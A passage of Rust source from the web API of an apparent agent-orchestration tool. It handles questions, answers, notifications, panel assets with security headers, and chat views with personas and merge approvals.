7624fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7626 let path = runs.join(id).join("run.json");
7627 let body =
7628 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7629 let state: RunState =
7630 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7631 run::migrate_schema(state)
7636}
7637
7638#[must_use]
7646pub fn runs_unreadable(runs: &FsPath) -> usize {
7647 run_ids(runs)
7648 .into_iter()
7649 .filter(|id| read_run(runs, id).is_err())
7650 .count()
7651}
7652
7653fn plain_record_id(id: &str) -> bool {
7654 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7655}
7656
7657fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7659 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7660 return Ok(id.to_owned());
7661 }
7662 pick(run_ids(runs), id, "run")
7663}
7664
7665fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7667 if plain_record_id(id) && queue.path_of(id).is_file() {
7668 return Ok(id.to_owned());
7669 }
7670 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7671 pick(ids, id, "task")
7672}
7673
7674#[derive(Debug, Serialize)]
7685struct QuestionView {
7686 choice_effects: std::collections::BTreeMap<String, String>,
7687 record_revision: String,
7688 #[serde(flatten)]
7689 question: Question,
7690 detail_md: Vec<md::Node>,
7691 posting_view: Option<PostingView>,
7692 thread_bodies_md: Vec<Vec<md::Node>>,
7694 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7697 waiting_on_agent: bool,
7707 holder: Option<&'static str>,
7711 deputies_enabled: bool,
7715 deputy_exhausted: bool,
7718 text_delivery: crate::question_delivery::Availability,
7719 run_is_task: bool,
7722 origin_chat: Option<String>,
7725 origin_chat_closed: bool,
7727 can_consult_chat: bool,
7729}
7730
7731#[derive(Debug, Serialize)]
7732struct PostingView {
7733 before_md: Vec<md::Node>,
7734 after_md: Vec<md::Node>,
7735 fields: Vec<crate::github_text::ComparisonView>,
7736}
7737
7738fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7739 let comparison = question.posting_comparison.as_ref()?;
7740 if !comparison.matches_detail(&question.detail) {
7741 return None;
7742 }
7743 let mut ids = std::collections::BTreeSet::new();
7744 if comparison.fields.is_empty()
7745 || comparison
7746 .fields
7747 .iter()
7748 .flat_map(|f| &f.pairs)
7749 .any(|p| !ids.insert(p.id))
7750 || comparison
7751 .fields
7752 .iter()
7753 .flat_map(|f| &f.original_triggers)
7754 .any(|t| !ids.insert(t.id))
7755 {
7756 return None;
7757 }
7758 let fields = comparison
7759 .fields
7760 .iter()
7761 .map(|f| f.view(comparison.excerpt))
7762 .collect::<Option<Vec<_>>>()?;
7763 Some(PostingView {
7764 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7765 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7766 fields,
7767 })
7768}
7769
7770impl QuestionView {
7771 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7775 let base = md::ImageBase::QuestionPanel {
7776 id: question.id.clone(),
7777 };
7778 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7779 Self {
7780 choice_effects: question
7781 .choices
7782 .iter()
7783 .filter_map(|c| {
7784 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7785 })
7786 .collect(),
7787 record_revision: question_record_revision(&question),
7788 detail_md: md::to_nodes(&question.detail, &base),
7789 posting_view: posting_view(&question, &base),
7790 thread_bodies_md: question
7791 .thread
7792 .iter()
7793 .map(|t| md::to_nodes(&t.body, &base))
7794 .collect(),
7795 thread_notes_md: question
7796 .thread
7797 .iter()
7798 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7799 .collect(),
7800 deputy_exhausted: store.deputy_exhausted(&question),
7801 waiting_on_agent: question.waiting_on_agent(),
7802 holder,
7803 deputies_enabled: deputies_enabled(cfg, &question),
7804 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7805 run_is_task: question.run_names_task(),
7806 origin_chat: None,
7807 origin_chat_closed: false,
7808 can_consult_chat: false,
7809 question,
7810 }
7811 }
7812
7813 fn with_origin(
7815 mut self,
7816 tasks: &[crate::queue::Task],
7817 talks: &[Talk],
7818 watches: &[crate::release_watch::WatchState],
7819 ) -> Self {
7820 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7821 self.can_consult_chat = consult.is_some();
7822 let talk =
7823 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7824 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7825 self.origin_chat = talk.map(|t| t.id);
7826 self
7827 }
7828}
7829
7830fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7834 Config::discover(repo, None).ok().map(|(c, _)| c)
7835}
7836
7837fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7839 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7840}
7841
7842fn question_views(
7845 qs: Vec<Question>,
7846 store: &ask::Questions,
7847 load: impl FnOnce() -> Option<Config>,
7848) -> Vec<QuestionView> {
7849 if qs.is_empty() {
7850 return Vec::new();
7851 }
7852 let cfg = load();
7853 qs.into_iter()
7854 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7855 .collect()
7856}
7857
7858fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7868 if !q.status.open() {
7869 return None;
7870 }
7871 if q.cwd.is_none()
7872 && q.deputy.is_none()
7873 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7874 {
7875 return crate::deputy::kind_of(q).map(|_| "nobody");
7876 }
7877 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7878 Some(_) if q.deputy.is_some() => "deputy",
7879 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7880 Some(_) => "asker",
7881 None => "nobody",
7882 })
7883}
7884
7885async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7891 blocking(move || {
7892 let questions = ui.questions.list();
7893 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7894 Ok(Json(
7895 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7896 .into_iter()
7897 .map(|view| view.with_origin(&tasks, &talks, &watches))
7898 .collect(),
7899 ))
7900 })
7901 .await
7902}
7903
7904async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7906 blocking(move || {
7907 Ok(Json(question_views(
7908 ui.questions.list(),
7909 &ui.questions,
7910 || deputy_config(&ui.repo),
7911 )))
7912 })
7913 .await
7914}
7915
7916fn question_record_revision(question: &Question) -> String {
7917 use std::hash::{Hash as _, Hasher as _};
7918 let mut hash = std::hash::DefaultHasher::new();
7919 serde_json::to_vec(question)
7920 .expect("serializable question")
7921 .hash(&mut hash);
7922 format!("{:016x}", hash.finish())
7923}
7924
7925#[derive(Serialize)]
7926struct QuestionOriginView {
7927 id: String,
7928 record_revision: String,
7929 origin_chat: Option<String>,
7930 origin_chat_closed: bool,
7931 can_consult_chat: bool,
7932}
7933
7934async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7935 blocking(move || {
7936 let questions = ui.questions.list();
7937 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7938 Ok(Json(
7939 questions
7940 .into_iter()
7941 .map(|question| {
7942 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7943 let can_consult_chat = consult.is_some();
7944 let talk = crate::consult::associated_talk_with_watches(
7945 &tasks, &talks, &question, &watches,
7946 );
7947 QuestionOriginView {
7948 record_revision: question_record_revision(&question),
7949 id: question.id,
7950 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7951 origin_chat: talk.map(|talk| talk.id),
7952 can_consult_chat,
7953 }
7954 })
7955 .collect(),
7956 ))
7957 })
7958 .await
7959}
7960
7961type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7962
7963fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7967 fn task_for_run(
7968 ui: &Ui,
7969 index: &mut Option<Vec<Arc<TaskRelation>>>,
7970 run: &str,
7971 loaded: &HashMap<String, Task>,
7972 ) -> ApiResult<Option<Task>> {
7973 if !plain_record_id(run) {
7974 return Ok(None);
7975 }
7976 if index.is_none() {
7977 *index = Some(ui.indexed_tasks()?);
7978 }
7979 Ok(index
7980 .as_ref()
7981 .expect("loaded index")
7982 .iter()
7983 .find(|task| task.runs.iter().any(|id| id == run))
7984 .and_then(|task| {
7985 loaded
7986 .get(&task.id)
7987 .cloned()
7988 .or_else(|| ui.queue.get(&task.id).ok())
7989 })
7990 .filter(|task| task.runs.iter().any(|id| id == run)))
7991 }
7992 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7993 plain_record_id(id)
7994 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7995 .flatten()
7996 .filter(|task| task.id == id)
7997 };
7998 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7999 let mut index = None;
8000 let mut tasks = HashMap::new();
8001 let mut talks = HashMap::new();
8002 for question in questions {
8003 for reference in crate::consult::question_task_refs(question, &watches) {
8004 let mut current = match reference {
8005 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8006 crate::consult::QuestionTaskRef::Run(id) => {
8007 task_for_run(ui, &mut index, id, &tasks)?
8008 }
8009 };
8010 let mut seen = HashSet::new();
8011 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8012 let Some(task) = current.take() else {
8013 break;
8014 };
8015 if !seen.insert(task.id.clone()) {
8016 break;
8017 }
8018 let chat = task.chat_talk().map(str::to_owned);
8019 let followup = task.followup.clone();
8020 tasks.insert(task.id.clone(), task);
8021 if let Some(chat) = chat {
8022 if plain_record_id(&chat)
8023 && !talks.contains_key(&chat)
8024 && let Ok(talk) = ui.talks.get(&chat)
8025 {
8026 talks.insert(chat, talk);
8027 }
8028 break;
8029 }
8030 let Some(followup) = followup else {
8031 break;
8032 };
8033 current = match followup.origin_task {
8034 Some(id) => direct_task(&id, &tasks),
8035 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8036 };
8037 }
8038 }
8039 }
8040 let mut tasks: Vec<Task> = tasks.into_values().collect();
8041 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8042 Ok((tasks, talks.into_values().collect(), watches))
8043}
8044
8045async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8048 blocking(move || {
8049 let items = ui.notices.list();
8050 let unread = items.iter().filter(|n| n.unread()).count();
8051 let items: Vec<_> = items
8052 .into_iter()
8053 .map(|n| {
8054 let question = crate::notices::answerable_question(&n, &ui.questions);
8055 let mut item = serde_json::to_value(n)?;
8056 item["answerable_question"] = serde_json::json!(question);
8057 Ok(item)
8058 })
8059 .collect::<anyhow::Result<_>>()?;
8060 Ok(Json(
8061 serde_json::json!({ "unread": unread, "items": items }),
8062 ))
8063 })
8064 .await
8065}
8066
8067fn notice_error(e: anyhow::Error) -> ApiError {
8068 ApiError::not_found(format!("{e:#}"))
8071}
8072
8073async fn notification_read(
8075 State(ui): State<Arc<Ui>>,
8076 Path(id): Path<String>,
8077) -> ApiResult<Json<Notice>> {
8078 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8079}
8080
8081async fn notification_dismiss(
8083 State(ui): State<Arc<Ui>>,
8084 Path(id): Path<String>,
8085) -> ApiResult<Json<Notice>> {
8086 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8087}
8088
8089async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8091 blocking(move || {
8092 let changed = ui.notices.mark_all_read()?;
8093 Ok(Json(serde_json::json!({ "marked": changed })))
8094 })
8095 .await
8096}
8097
8098#[derive(Debug, Default, Deserialize)]
8104#[serde(default, deny_unknown_fields)]
8105struct NewAnswer {
8106 choice: Option<String>,
8107 text: Option<String>,
8108 talk: Option<String>,
8109 head: Option<String>,
8110}
8111
8112async fn question_answer(
8113 State(ui): State<Arc<Ui>>,
8114 Path(id): Path<String>,
8115 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8116) -> ApiResult<Json<QuestionView>> {
8117 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8118 let answer = match (body.choice, body.text) {
8119 (Some(c), None) => Answer::Choice(c),
8120 (None, Some(t)) => Answer::Text(t),
8121 (Some(_), Some(_)) => {
8122 return Err(ApiError::bad_request(
8123 "send either `choice` or `text`, not both",
8124 ));
8125 }
8126 (None, None) => {
8127 return Err(ApiError::bad_request("send a `choice` or a `text`"));
8128 }
8129 };
8130
8131 blocking(move || {
8132 let id = resolve_question(&ui.questions, &id)?;
8133 let q = ui
8134 .questions
8135 .get(&id)
8136 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8137 if !q.status.open() {
8138 return Err(ApiError::conflict(format!(
8142 "question {} is already {}",
8143 q.short(),
8144 q.status.as_str()
8145 )));
8146 }
8147 let cfg = deputy_config(&ui.repo);
8151 let (q, ()) = ui
8152 .questions
8153 .update(&q.id, |r| {
8154 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8155 if r.routed_task.is_some()
8158 && r.merge_target.is_some()
8159 && merge
8160 && (body.talk.is_some() || body.head.is_some())
8161 {
8162 let talk_id = body
8163 .talk
8164 .as_deref()
8165 .context("approval button requires its chat")?;
8166 let head = body
8167 .head
8168 .as_deref()
8169 .context("approval button requires the displayed head")?;
8170 let talk = ui.talks.get(talk_id)?;
8171 anyhow::ensure!(talk.status.open(), "approval chat is closed");
8172 r.answer_chat_button(answer, talk_id, head)
8173 } else {
8174 r.answer(answer)
8175 }
8176 })
8177 .map_err(ApiError::bad_request_from)?;
8178 let (tasks, talks, watches) =
8179 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8180 Ok(Json(
8181 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8182 ))
8183 })
8184 .await
8185}
8186
8187fn question_text_error(e: anyhow::Error) -> ApiError {
8189 let reason = e
8190 .downcast_ref::<crate::question_delivery::TextUnavailable>()
8191 .map(|e| e.reason);
8192 let error = ApiError::bad_request_from(e);
8193 if let Some(reason) = reason {
8194 ApiError {
8195 text_reason: Some(reason),
8196 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8197 }
8198 } else {
8199 error
8200 }
8201}
8202
8203#[derive(Debug, Deserialize)]
8205#[serde(deny_unknown_fields)]
8206struct NewSay {
8207 body: String,
8208}
8209
8210async fn question_say(
8220 State(ui): State<Arc<Ui>>,
8221 Path(id): Path<String>,
8222 body: std::result::Result<Json<NewSay>, JsonRejection>,
8223) -> ApiResult<Json<QuestionView>> {
8224 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8225 blocking(move || {
8226 let id = resolve_question(&ui.questions, &id)?;
8227 let q = ui
8228 .questions
8229 .get(&id)
8230 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8231 if !q.status.open() {
8232 return Err(ApiError::conflict(format!(
8236 "question {} is already {}",
8237 q.short(),
8238 q.status.as_str()
8239 )));
8240 }
8241 let cfg = deputy_config(&ui.repo);
8244 let (q, ()) = ui
8245 .questions
8246 .update(&q.id, |r| {
8247 if body.body.trim().is_empty() {
8248 return r.say(body.body);
8249 }
8250 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8251 r.say(body.body)
8252 })
8253 .map_err(question_text_error)?;
8254 let (tasks, talks, watches) =
8255 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8256 Ok(Json(
8257 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8258 ))
8259 })
8260 .await
8261}
8262
8263async fn admitted<T: Send + 'static>(
8266 admission: AdmissionGuard,
8267 work: impl Future<Output = ApiResult<T>> + Send + 'static,
8268) -> ApiResult<T> {
8269 tokio::spawn(async move {
8270 let result = work.await;
8271 drop(admission);
8272 result
8273 })
8274 .await
8275 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8276}
8277
8278async fn question_consult(
8287 State(ui): State<Arc<Ui>>,
8288 Path(id): Path<String>,
8289) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8290 let admission = ui.begin_admission()?;
8291 admitted(admission, async move {
8292 let (q, tasks, talks, watches, talk, cfg) = blocking({
8293 let ui = Arc::clone(&ui);
8294 move || {
8295 let id = resolve_question(&ui.questions, &id)?;
8296 let q = ui.questions.get(&id).map_err(|e| {
8297 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8298 })?;
8299 if !q.status.open() {
8300 return Err(ApiError::conflict(format!(
8301 "question {} is already {}",
8302 q.short(),
8303 q.status.as_str()
8304 )));
8305 }
8306 let (tasks, talks, watches) =
8307 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8308 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8309 return Err(ApiError::conflict(format!(
8310 "question {} has no chat to ask",
8311 q.short()
8312 )));
8313 };
8314 let cfg = if q.consult.is_none() {
8318 Some(Config::discover(&talk.repo, None)?.0)
8319 } else {
8320 None
8321 };
8322 Ok((q, tasks, talks, watches, talk, cfg))
8323 }
8324 })
8325 .await?;
8326 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8327 .await
8328 .map_err(ApiError::from)?;
8329 let (view, reclaimed, submitted) = blocking({
8330 let ui = Arc::clone(&ui);
8331 move || {
8332 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8333 let claim = if fresh {
8334 match ui.begin_queued_talk_turn(&talk.id)? {
8335 Some(turn_guard) => {
8336 let talk = ui.talks.get(&talk.id)?;
8337 let cfg = match cfg {
8338 Some(cfg) => cfg,
8339 None => Config::discover(&talk.repo, None)?.0,
8340 };
8341 Some((talk, cfg, turn_guard))
8342 }
8343 None => None,
8344 }
8345 } else {
8346 None
8347 };
8348 let q = ui.questions.get(&q.id)?;
8349 let cfg = deputy_config(&ui.repo);
8350 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8351 .with_origin(&tasks, &talks, &watches);
8352 Ok((view, claim, fresh.then_some(talk.id)))
8353 }
8354 })
8355 .await?;
8356 #[cfg(not(test))]
8357 {
8358 if let Some(id) = submitted {
8359 crate::consult::spawn_turn(&ui.talks, &id)
8360 .await
8361 .map_err(ApiError::from)?;
8362 }
8363 drop(reclaimed);
8364 }
8365 #[cfg(test)]
8366 let _ = submitted;
8367 #[cfg(test)]
8368 if let Some((talk, cfg, turn_guard)) = reclaimed {
8369 let talks = ui.talks.clone();
8370 let id = talk.id.clone();
8371 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8372 }
8373 Ok((StatusCode::ACCEPTED, Json(view)))
8374 })
8375 .await
8376}
8377
8378fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8380 if plain_record_id(id) && store.path_of(id).is_file() {
8381 return Ok(id.to_owned());
8382 }
8383 pick(
8384 store.list().into_iter().map(|q| q.id).collect(),
8385 id,
8386 "question",
8387 )
8388}
8389
8390async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8405 blocking(move || {
8406 let id = resolve_question(&ui.questions, &id)?;
8407 let Some(html) = ui.questions.panel_html(&id) else {
8408 return Err(ApiError::not_found(format!("question {id} has no panel")));
8409 };
8410 Ok(panel_response(
8411 "text/html; charset=utf-8",
8412 false,
8413 html.into_bytes(),
8414 ))
8415 })
8416 .await
8417}
8418
8419async fn question_asset(
8447 State(ui): State<Arc<Ui>>,
8448 Path((id, name)): Path<(String, String)>,
8449) -> ApiResult<Response> {
8450 if !crate::ask::valid_asset_name(&name) {
8453 return Err(ApiError::bad_request(format!(
8454 "`{name}` is not a usable asset name"
8455 )));
8456 }
8457 blocking(move || {
8458 let id = resolve_question(&ui.questions, &id)?;
8459 let asset = ui
8460 .questions
8461 .panel_asset(&id, &name)
8462 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8463 let Some(bytes) = asset else {
8464 return Err(ApiError::not_found(format!(
8465 "question {id} has no asset `{name}`"
8466 )));
8467 };
8468 Ok(panel_response(
8469 asset_content_type(&name),
8470 is_svg(&name),
8471 bytes,
8472 ))
8473 })
8474 .await
8475}
8476
8477fn asset_content_type(name: &str) -> &'static str {
8490 match extension(name).as_deref() {
8491 Some("png") => "image/png",
8492 Some("jpg" | "jpeg") => "image/jpeg",
8493 Some("gif") => "image/gif",
8494 Some("webp") => "image/webp",
8495 Some("svg") => "image/svg+xml",
8496 Some("css") => "text/css; charset=utf-8",
8497 Some("txt") => "text/plain; charset=utf-8",
8498 _ => "application/octet-stream",
8499 }
8500}
8501
8502fn is_svg(name: &str) -> bool {
8505 extension(name).as_deref() == Some("svg")
8506}
8507
8508fn extension(name: &str) -> Option<String> {
8510 name.rsplit_once('.')
8511 .map(|(_, ext)| ext.to_ascii_lowercase())
8512}
8513
8514fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8531 let mut res = (
8532 [
8533 (header::CONTENT_TYPE, content_type),
8534 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8535 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8536 (header::REFERRER_POLICY, "no-referrer"),
8537 ],
8538 body,
8539 )
8540 .into_response();
8541 if download {
8542 res.headers_mut().insert(
8543 header::CONTENT_DISPOSITION,
8544 HeaderValue::from_static("attachment"),
8545 );
8546 }
8547 res
8548}
8549
8550#[derive(Debug, Serialize)]
8556struct ChatApproval {
8557 question: String,
8558 target: crate::merge_decision::Target,
8559}
8560
8561#[derive(Debug, Serialize)]
8562struct TalkView {
8563 #[serde(flatten)]
8564 talk: Talk,
8565 turn_bodies_md: Vec<Vec<md::Node>>,
8566 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8568 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8569 merge_approvals: Vec<ChatApproval>,
8570 thinking: bool,
8578 context: talk::ContextUsage,
8582 operator_name: Option<String>,
8585 persona_name: Option<String>,
8587 persona_avatar: String,
8590 operator_avatar: String,
8592 magi_avatar: String,
8593}
8594
8595impl TalkView {
8596 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8599 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8600 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8601 }
8602
8603 fn with_config(
8606 talk: Talk,
8607 thinking: bool,
8608 cfg: Option<&Config>,
8609 home: &FsPath,
8610 cache: &id_links::IndexCache,
8611 ) -> Self {
8612 let references = cache.for_talk(home, &talk);
8613 Self::with_references(talk, thinking, cfg, home, &references)
8614 }
8615
8616 fn with_references(
8617 mut talk: Talk,
8618 thinking: bool,
8619 cfg: Option<&Config>,
8620 home: &FsPath,
8621 references: &id_links::IdIndex,
8622 ) -> Self {
8623 let snapshot = talk.clone();
8625 for (index, turn) in talk.turns.iter_mut().enumerate() {
8626 let original = &snapshot.turns[index];
8627 if turn.messages.is_empty() {
8628 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8629 turn.messages.push(talk::Message {
8630 sender: Some(talk::Sender::Magi),
8631 body: original.body.clone(),
8632 display: Some(display),
8633 attachments: original.attachments.clone(),
8634 reply: None,
8635 });
8636 }
8637 } else {
8638 for (i, message) in turn.messages.iter_mut().enumerate() {
8639 message.display =
8640 talk::notice_display(&snapshot, original, original.messages.get(i));
8641 if message.display.is_some() {
8642 message.sender = Some(talk::Sender::Magi);
8643 }
8644 }
8645 }
8646 }
8647 for message in &mut talk.pending_messages {
8648 if message.display.is_none()
8649 && (message.sender == Some(talk::Sender::Magi)
8650 || snapshot
8651 .completion_notices
8652 .iter()
8653 .any(|r| r.notice == message.body))
8654 {
8655 message.display = crate::prompt::legacy_notice_display(&message.body);
8656 if message.display.is_some() {
8657 message.sender = Some(talk::Sender::Magi);
8658 }
8659 }
8660 }
8661 if talk.pending_messages.is_empty()
8662 && snapshot
8663 .completion_notices
8664 .iter()
8665 .any(|r| r.notice == talk.pending)
8666 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8667 {
8668 talk.pending_messages.push(talk::Message {
8669 sender: Some(talk::Sender::Magi),
8670 display: Some(display),
8671 body: talk.pending.clone(),
8672 attachments: talk.pending_attachments.clone(),
8673 reply: None,
8674 });
8675 }
8676 let excerpts: Vec<Vec<Option<String>>> = talk
8677 .turns
8678 .iter()
8679 .map(|turn| {
8680 turn.messages
8681 .iter()
8682 .map(|m| {
8683 m.display
8684 .as_ref()
8685 .map(|d| d.facts.chars().take(240).collect())
8686 })
8687 .collect()
8688 })
8689 .collect();
8690 for turn in &mut talk.turns {
8691 let provenance = talk::sender(turn, None);
8692 turn.sender = Some(provenance);
8693 for message in &mut turn.messages {
8694 message.sender = Some(message.sender.unwrap_or(provenance));
8695 }
8696 }
8697 let senders: Vec<Vec<talk::Sender>> = talk
8699 .turns
8700 .iter()
8701 .map(|turn| {
8702 if turn.messages.is_empty() {
8703 vec![talk::sender(turn, None)]
8704 } else {
8705 turn.messages
8706 .iter()
8707 .map(|m| talk::sender(turn, Some(m)))
8708 .collect()
8709 }
8710 })
8711 .collect();
8712 for reply in talk
8713 .turns
8714 .iter_mut()
8715 .flat_map(|t| t.messages.iter_mut())
8716 .chain(talk.pending_messages.iter_mut())
8717 .filter_map(|m| m.reply.as_mut())
8718 {
8719 if let Some(Some(excerpt)) = excerpts
8720 .get(reply.target.turn)
8721 .and_then(|ms| ms.get(reply.target.message))
8722 {
8723 reply.excerpt = excerpt.clone();
8724 reply.sender = Some(talk::Sender::Magi);
8725 }
8726 if reply.sender.is_none() {
8727 reply.sender = senders
8728 .get(reply.target.turn)
8729 .and_then(|messages| messages.get(reply.target.message))
8730 .copied();
8731 }
8732 }
8733 let context = talk::context_usage(&talk, cfg);
8734 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8735 .turns
8736 .iter()
8737 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8738 .collect();
8739 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8740 .turns
8741 .iter()
8742 .map(|turn| {
8743 if turn.messages.is_empty() {
8744 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8745 } else {
8746 turn.messages
8747 .iter()
8748 .map(|message| {
8749 notice_markdown(
8750 message.sender.unwrap_or(talk::Sender::Operator),
8751 &message.body,
8752 message.display.as_ref(),
8753 )
8754 })
8755 .collect()
8756 }
8757 })
8758 .collect();
8759 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8760 .pending_messages
8761 .iter()
8762 .map(|message| {
8763 notice_markdown(
8764 message.sender.unwrap_or(talk::Sender::Operator),
8765 &message.body,
8766 message.display.as_ref(),
8767 )
8768 })
8769 .collect();
8770 for nodes in &mut turn_bodies_md {
8771 references.markdown(nodes);
8772 }
8773 for nodes in turn_messages_md
8774 .iter_mut()
8775 .flatten()
8776 .chain(pending_messages_md.iter_mut())
8777 .flatten()
8778 {
8779 references.markdown(nodes);
8780 }
8781 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8782 let persona_name = persona::find(specs, &talk.persona)
8783 .filter(|p| !p.is_default())
8784 .map(|p| p.name);
8785 let mut avatar_persona = persona::find(specs, &talk.persona)
8786 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8787 if avatar_persona.id != talk.persona
8789 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8790 {
8791 avatar_persona.id.clone_from(&talk.persona);
8792 avatar_persona.icon = None;
8793 }
8794 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8795 let approvals_store = ask::Questions::at(home.join("questions"));
8796 let merge_approvals = talk
8797 .notified
8798 .iter()
8799 .filter_map(|key| key.strip_prefix("question:"))
8800 .filter_map(|id| approvals_store.get(id).ok())
8801 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8802 .filter_map(|q| {
8803 Some(ChatApproval {
8804 question: q.id,
8805 target: q.merge_target?,
8806 })
8807 })
8808 .collect();
8809 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8810 Self {
8811 turn_bodies_md,
8812 turn_messages_md,
8813 pending_messages_md,
8814 merge_approvals,
8815 thinking,
8816 context,
8817 operator_name,
8818 persona_name,
8819 persona_avatar,
8820 magi_avatar: magi_icon_url(home),
8821 operator_avatar: operator_icon_url(home),
8822 talk,
8823 }
8824 }
8825}
8826
8827fn notice_markdown(
8829 sender: talk::Sender,
8830 body: &str,
8831 display: Option<&crate::prompt::NoticeDisplay>,
8832) -> Option<Vec<md::Node>> {
8833 if sender != talk::Sender::Magi {
8834 return None;
8835 }
8836 let text = if let Some(display) = display {
8837 display.facts.as_str()
8838 } else {
8839 if crate::prompt::is_completion_notice(body)
8842 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8843 {
8844 return None;
8845 }
8846 body.strip_prefix("magi: ").unwrap_or(body)
8847 };
8848 Some(md::to_nodes(text, &md::ImageBase::None))
8849}
8850
8851#[derive(Debug, Serialize)]
8856struct TalkDetailView {
8857 #[serde(flatten)]
8858 view: TalkView,
